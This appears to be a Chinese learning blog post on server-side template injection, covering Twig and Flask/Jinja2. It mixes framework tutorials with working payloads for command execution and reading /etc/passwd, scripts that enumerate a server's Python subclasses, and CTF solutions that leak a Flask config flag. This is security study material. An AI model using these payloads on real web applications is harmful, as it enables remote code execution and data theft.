1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

SSTI payload记录 | 郁涛丶’s Blog (ghostasky.github.io)

大纲参考:

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

SSTI payload记录 | 郁涛丶’s Blog (ghostasky.github.io)

这里只是了解一下模板的大致原理,不对如何构造payload过多强求

对于绕过黑名单的一些方法等后续遇到一个学一个,这里也不过多耗费精力,因为根本记不住hh

PHP ssti

composer

Composer 安装与使用 | 菜鸟教程 (runoob.com)

箭头函数

箭头函数 - JavaScript | MDN (mozilla.org)

搞明白JavaScript中的匿名函数 - 知乎 (zhihu.com)

这一次,彻底搞懂箭头函数 - 掘金 (juejin.cn)

箭头函数表达式的语法比函数表达式更简洁,并且没有自己的thisargumentssupernew.target。箭头函数表达式更适用于那些本来需要匿名函数的地方,并且它不能用作构造函数。

Twig 基础

PHP Twig 教程|极客教程 (geek-docs.com)

map — Twig 文档 (osgeo.cn)

先按照教程尝试简单的例子来了解Twig如何运作:

first.php:

<?php

require __DIR__ . '/vendor/autoload.php';

use Twig\Environment;
use Twig\Loader\FilesystemLoader;

$loader = new FilesystemLoader(__DIR__ . '/templates');
$twig = new Environment($loader);

echo $twig->render('first.html.twig', ['name' => 'John Doe', 
    'occupation' => 'gardener']);

这里使用FilesystemLoader从指定目录加载模板

输出通过render()生成。 它带有两个参数:模板文件和数据。

这里再补充一下render(),大概就是渲染加载的意思:

Vue中 渲染函数(render)的介绍和应用 - 掘金 (juejin.cn)

templates/first.html.twig

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>

    <p>
        {{ name }} is a {{ occupation }}
    </p>

</body>

</html>

变量以{{}}语法输出。

filters.php

<?php

require __DIR__ . '/vendor/autoload.php';

use Twig\Environment;
use Twig\Loader\FilesystemLoader;

$loader = new FilesystemLoader(__DIR__ . '/templates');$twig = new Environment($loader);$words = ['sky', 'mountain', 'falcon', 'forest', 'rock', 'blue'];
$sentence = 'today is a windy day';

echo $twig->render('filter.html.twig', 
    ['words' => $words, 'sentence' =>$sentence]);

templates/filters.html.twig

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Filters</title>
</head>

<body>

    <p>
     The array has {{ words | length }} elements
    </p>

    <p>
     Joined array elements: {{ words | join(',') }} 
    </p>    

    <p>
     {{ sentence | title }} 
    </p>        

</body>

</html>

if 、for等内容不再赘述,看看set标签:

set标签

允许将值设置为模板内的变量。

$words = ['sky', 'mountain', 'falcon', 'forest',
    'rock', 'blue', 'solid', 'book', 'tree'];

echo $twig->render('test.html.twig', ['words' => $words]);
{% set sorted = words | sort %}

<ul>
{% for word in sorted %}
    
  • {{ word }}
  • {% endfor %} </ul>

    verbatim标签

    verbatim将部分标记为不应该分析的原始文本。

    {% verbatim %}
        
      {% for word in words %}
    • {{ word }}
    • {% endfor %}
    {% endverbatim %}

    Twig 自动转义

    Twig 自动转义某些字符,例如<或>。可以使用autoescape选项关闭自动转义

    $twig = new Environment($loader, [
        'autoescape' => false
    ]);
    
    $data = "<script src='http::/example.com/nastyscript.js'></script>";
    
    echo $twig->render('autoescape.html.twig', ['data' => $data]);
    
    <p>
    The data is {{ data }}
    </p>
    
    <p>
    The data is {{ data | raw }}
    </p>
    

    如果启用了自动转义,我们可以使用raw过滤器显示原始输入。

    <p>
    The data is <script src='http://example.com/nastyscript.js'></script>
    </p>
    
    <p>
    The data is <script src='http://example.com/nastyscript.js'></script>
    </p>
    

    其后的内容暂不研究,先回到主题–SSTI

    Twig SSTI

    这里研究一下这篇博客:TWIG 全版本通用 SSTI payloads - 先知社区 (aliyun.com)

    map

    map 对应的函数是twig_array_map ,下面是其实现

    function twig_array_map($array, $arrow)
    {
        $r = [];
        foreach ($array as $k => $v) {
            $r[$k] = $arrow($v, $k);
        }
    
        return $r;
    }
    

    从上面的代码我们可以看到,$arrow 是可控的,将数组的键值对分别作为箭头函数的两个参数,然后将执行结果赋值给$r,漏洞就来自这里。

    arrow function最后会变成一个closure

    举个例子

    {{["man"]|map((arg)=>"hello #{arg}")}}
    

    会被编译成(在 Twig 模板引擎中,#{} 用于将变量的值嵌入到字符串中。)

    twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__;
    return ("hello " . ($context["arg"] ?? null))
    

    在这里,__arg__twig_array_map 中数组的每个元素,而不是一个回调函数的参数。在匿名函数的闭包内,__arg__ 代表了数组中的当前元素。

    可以不传arrow function,可以只传一个字符串。

    所以我们需要找个两个参数的能够命令执行的危险函数即可。通过查阅常见的命令执行函数:

    • system ( string $command [, int &$return_var ] ) : string

    • passthru ( string $command [, int &$return_var ] )

    • exec ( string $command [, array &$output [, int &$return_var ]] ) : string

    • popen ( string $command , string $mode )

    • shell_exec ( string $cmd ) : string

    如果以上都被ban了,那么使用{{{" 可以写个shell,实际上它相当于执行:

    file_put_contents("/var/www/html/shell.php","<?php phpinfo();")
    

    要注意参数顺序

    其他的暂不研究,上一下目前的payload:

    {{'/etc/passwd'|file_excerpt(1,30)}}
    
    {{app.request.files.get(1).__construct('/etc/passwd','')}}
    
    {{app.request.files.get(1).openFile.fread(99)}}
    
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
    
    {{_self.env.enableDebug()}}{{_self.env.isDebug()}}
    
    {{["id"]|map("system")|join(",")
    
    {{{"

    php 中的模板还有一些,暂时先放一放,原理应该大同小异,接下来先看看python下的模板注入:

    python ssti

    这里还是顺带以flask为入口简单了解一下python web:

    Flask之最易懂的基础教程一(2020年最新-从入门到精通)-CSDN博客

    简单使用:

    # 导入Flask类库
    from flask import Flask
    # 创建应用实例
    app = Flask(__name__)
    # 视图函数(路由)
    @app.route('/')
    def index():
        return '<h1>Hello Flask!<h1>'
    # 启动实施(只在当前模块运行)
    if __name__ == '__main__':
        app.run()
    

    这里可以设置app.run(debug=True)方便调试

    带参数的视图函数:

    # 导入Flask类库
    from flask import Flask
    # 创建应用实例
    app = Flask(__name__)
    # 视图函数(路由)
    @app.route('/user/<username>')
    def setname(username):
        username='2333'
        return username
    def say_hello(username):
        return '<h1>Hello %s !<h1>' % username
    # 启动实施(只在当前模块运行)
    if __name__ == '__main__':
        app.run(debug=True)
    

    这里一个路由下可以有多个视图函数,但是返回值值能时最后一个视图函数的返回值,因为依次执行视图函数后后面的覆盖前面的

    关于参数:

    参数要写在<>中、

    视图函数的参数要与路由中的一致

    也可以指定参数类型(int/float/path),默认是字符串

    • **int**:匹配一个整数类型的 URL 变量。

    • **float**:匹配一个浮点数类型的 URL 变量。

    • **path**:匹配一个字符串类型的 URL 变量,但不限制其内容,可以包含斜杠 /

      @app.route(‘/user/path:info‘)

    获取request请求值
    # 导入Flask类库
    from flask import Flask,request
    # 创建应用实例
    app = Flask(__name__)
    # request
    @app.route('/request/<path:info>')
    def request_url(info):
        # 完整的请求URL
        return request.url
        '''
        url:127.0.0.1:5000/request/abc/def?username=xiaoming&pwd=123
        网页返回值:http://127.0.0.1:5000/request/abc/def?username=xiaoming&pwd=123
        '''
        # 去掉GET参数的URL
        return request.base_url
        '''
        网页返回值:http://127.0.0.1:5000/request/abc/def
        '''
        # 只有主机和端口的URL
        return request.host_url
        '''
        网页返回值:http://127.0.0.1:5000/
        '''
        # 装饰器中写的路由地址
        return request.path
        '''
        网页返回值:/request/abc/def
        '''
        # 请求方法类型
        return request.method
        '''
        网页返回值:GET (也有可能是POST)
        '''
        # 远程地址
        return request.remote_addr
        '''
        网页返回值:127.0.0.1:5000
        '''
        # 获取url参数
        return request.args.get('username')
        return request.args.get('pwd')
        return str(request.args)
        # 获取headers信息
        return request.headers.get('User-Agent')
    # 启动实施(只在当前模块运行)
    if __name__ == '__main__':
        app.run()
    
    响应的构造(make_response)
    from flask import Flask,make_response
    app = Flask(__name__)
    @app.route('/response/')
    def response():
        # 不指定状态码,默认为200,表示OK
        # return ‘OK’
        # 构造一个404状态码
        # 方法一
        return 'not fount',404
        # 方法二
        # 导入make_response
        # 自定义构造一个响应,然后返回200,构造也可以指定状态码404
        res = make_response('我是通过函数构造的响应',404)
        return res
    if __name__ == '__main__':
        app.run()
    

    其他一些开发细节暂不深入,先看一下jinja2

    先看一看介绍:

    Flask模板

    1. 模板介绍:
      结构清晰、易于维护的代码开发原则是程序员追求的目标之一。目前我们所写的代码都比较简单,但是很明显的可以预见的一个问题是,当项目越来越复杂时,视图函数将变得异常庞大和繁琐,因为视图函数中存放了业务逻辑和表现逻辑。
      解决这类问题的通用方法是将不同种类的逻辑分开存放:
      业务逻辑:存放在视图函数中,专门处理用户的业务需求;
      表现逻辑:存放在单独的模板文件夹中,负责表现效果。
    2. 模板引擎
      指定了一套特定的语法来实现表达逻辑,提供了一种专门的替换接口将模板文件换成目标文件(html)。——flask中提供了专门的模板引擎(jinja2)

    看起来模板主要是接管了表现效果的单独文件夹,先看一个简单的例子:

    from flask import Flask,render_template,render_template_string,g
    from flask_script import Manager
    app = Flask(__name__)
    manager = Manager(app)
    @app.route('/index')
    def index():
        # return '模板引擎测试'
        # 渲染模板文件
        return render_template('index.html')
    @app.route('/index/<name>')
    def welcome(name):
        # 变量参数写在渲染函数的后面作为参数,前面的name是形参,后面的name是渲染模板中的解析内容
        # return render_template('index.html',name=name)
        # 第二种方法,使用render_template_string(渲染字符串)
        # return render_template_string('<h2>hello {{ name }} ! <h2>',name=name)
        # 第三种方法,使用  g(全局函数),不需要分配就可以在模板中使用,
        # 只需要给定渲染模板即可;
        g.name = name
        return render_template('index.html')
    if __name__ == '__main__':
        manager.run()
    

    在 Flask 中,默认情况下,render_template('index.html') 会在指定的模板文件夹内查找名为 index.html 的模板文件。

    Flask 默认的模板文件夹是项目根目录下的 templates 文件夹。所以,如果你的 index.html 文件位于 templates 文件夹下,那么 render_template('index.html') 将会在这个文件夹中查找并渲染 index.html 文件。

    如果你的 index.html 文件不在默认的 templates 文件夹中,而是在其他文件夹,你可以通过指定文件夹路径的方式告诉 Flask 在哪里找到模板文件。你需要在创建 Flask 应用时通过指定 template_folder 参数来设置模板文件夹的路径,如下所示:

    pythonCopy code
    app = Flask(__name__, template_folder='your_template_folder_path')
    

    确保将 'your_template_folder_path' 替换为实际存储模板文件的文件夹路径。这样 Flask 就会在指定的文件夹中查找并渲染模板文件。

    然后这里也可以使用函数-类似twig中的filter:

    image-20231114165408388

    类的知识总结

    __class__            类的一个内置属性,表示实例对象的类。
    __base__             类型对象的直接基类
    __bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
    __mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
    __subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
    __init__             初始化类,返回的类型是function
    __globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
    __dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
    __getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
    __getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
    __builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
    __import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
    __str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
    url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
    get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
    lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
    current_app          应用上下文,一个全局变量。
    
    request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
    request.args.x1   	 get传参
    request.values.x1 	 所有参数
    request.cookies      cookies参数
    request.headers      请求头参数
    request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
    request.data  		 post传参	(Content-Type:a/b)
    request.json		 post传json  (Content-Type: application/json)
    config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
    g                    {{g}}得到<flask.g of 'flask_ssti'>
    

    常见过滤器

    Jinja2 Tutorial - Part 4 - Template filters | (ttl255.com)

    常用的过滤器
    
    int():将值转换为int类型;
    
    float():将值转换为float类型;
    
    lower():将字符串转换为小写;
    
    upper():将字符串转换为大写;
    
    title():把值中的每个单词的首字母都转成大写;
    
    capitalize():把变量值的首字母转成大写,其余字母转小写;
    
    trim():截取字符串前面和后面的空白字符;
    
    wordcount():计算一个长字符串中单词的个数;
    
    reverse():字符串反转;
    
    replace(value,old,new): 替换将old替换为new的字符串;
    
    truncate(value,length=255,killwords=False):截取length长度的字符串;
    
    striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
    
    escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
    
    safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'hello'|safe}};
    
    list():将变量列成列表;
    
    string():将变量转换成字符串;
    
    join():将一个序列中的参数值拼接成字符串。示例看上面payload;
    
    abs():返回一个数值的绝对值;
    
    first():返回一个序列的第一个元素;
    
    last():返回一个序列的最后一个元素;
    
    format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
    
    length():返回一个序列或者字典的长度;
    
    sum():返回列表内数值的和;
    
    sort():返回排序后的列表;
    
    default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
    
    length()返回字符串的长度,别名是count
    
    

    其他的开发类容暂不探究

    jinja SSTI

    CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】 - 知乎 (zhihu.com)

    Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。

    • __dict__:保存类实例或对象实例的属性变量键值对字典
    • __class__:返回调用的参数类型
    • __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    • __bases__:返回类型列表
    • __subclasses__:返回object的子类
    • __init__:类的初始化方法
    • __globals__:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

    basemro 都是用来寻找基类的。

    我们可以使用

    for i, subclass in enumerate(str.__class__.__mro__[-1].__subclasses__()):
        print(i, subclass)
    

    来方便查阅我们需要的某个子类的索引:

    image-20231114194457561

    SSTI 的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件或执行命令的类)加以利用。

    以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区 (aliyun.com)

    __builtins__:以一个集合的形式查看其引用

    内建函数

    当我们启动一个python解释器时,即时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。

    内建函数并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始。

    __builtins__ 方法是做为默认初始模块出现的,可用于查看当前所有导入的内建函数。

    __globals__:该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

    __import__()`:该方法用于动态加载类和函数 。如果一个模块经常变化就可以使用 `__import__()` 来动态载入,就是 `import`。语法:`__import__(模块名)
    

    这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类、更多的方法,找出可以利用的类和方法加以利用。总之,是通过python的对象的继承来一步步实现文件读取和命令执行的:

    找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。
    

    一些使用到的类或方法:

    文件读取

    python2——file类:

    {{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
    

    Python3——使用file类读取文件的方法仅限于Python 2环境,在Python 3环境中file类已经没有了。我们可以用<class '_frozen_importlib_external.FileLoader'> 这个类去读取文件。首先编写脚本遍历目标Python环境中 <class '_frozen_importlib_external.FileLoader'> 这个类索引号:

    import requests
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
    }
    
    for i in range(500):
        url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
    
        res = requests.get(url=url, headers=headers)
        if 'FileLoader' in res.text:
            print(i)
    
    {{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}
    

    内建函数 eval 执行命令

    • warnings.catch_warnings
    • WarningMessage
    • codecs.IncrementalEncoder
    • codecs.IncrementalDecoder
    • codecs.StreamReaderWriter
    • os._wrap_close
    • reprlib.Repr
    • weakref.finalize

    首先编写脚本遍历目标Python环境中含有内建函数 eval 的子类的索引号

    import requests
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
    }
    
    for i in range(500):
        url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
    
        res = requests.get(url=url, headers=headers)
        if 'eval' in res.text:
            print(i)
    
    {{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
    

    使用eval函数执行命令也是调用的os模块

    Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。

    import requests
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
    }
    
    for i in range(500):
        url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
    
        res = requests.get(url=url, headers=headers)
        if 'os.py' in res.text:
            print(i)
    

    随便挑一个类构造payload执行命令即可:

    {{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}
    

    但是该方法遍历得到的类不准确,因为一些不相关的类名中也存在字符串 “os”,所以我们还要探索更有效的方法。

    我们可以看到,即使是使用os模块执行命令,其也是调用的os模块中的popen函数,那我们也可以直接调用popen函数,存在popen函数的类一般是 os._wrap_close,但也不绝对。由于目标Python环境的不同,我们还需要遍历一下。

    import requests
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
    }
    
    for i in range(500):
        url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
    
        res = requests.get(url=url, headers=headers)
        if 'popen' in res.text:
            print(i)
    
    {{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}
    

    还有一些内容,这里就不搬过来了,可以自行查看以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区 (aliyun.com)

    这里还是找几个靶场检验一下

    靶场

    shrine

    题目源码:

    import flask
    import os
    
    app = flask.Flask(__name__)
    
    app.config['FLAG'] = os.environ.pop('FLAG')
    
    
    @app.route('/')
    def index():
        return open(__file__).read()
    
    
    @app.route('/shrine/<path:shrine>')
    def shrine(shrine):
    
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '')
            blacklist = ['config', 'self']
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    
        return flask.render_template_string(safe_jinja(shrine))
    
    
    if __name__ == '__main__':
        app.run(debug=True)
    

    现在看这个题就比较清晰了,waf了config和self,但flag放在了config中,如果没有黑名单的时候,我们可以传入 config,或者传入获取,这里还要再去查一下这个config:

    Flask项目配置(Configuration) - 知乎 (zhihu.com)

    flask的配置项及获取 - 安迪9468 - 博客园 (cnblogs.com)

    从第二篇博客中我们发现可以使用current_app:

    {{url_for.__globals__['current_app'].config.FLAG}}
    {{get_flashed_messages.__globals__['current_app'].config.FLAG}}
    {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
    

    easytornado

    在提示中我们知道需要获取一个cookie-secret的值,我们还需要补充一些知识:

    python SSTI tornado render模板注入 - Hanamizuki花水木 - 博客园 (cnblogs.com)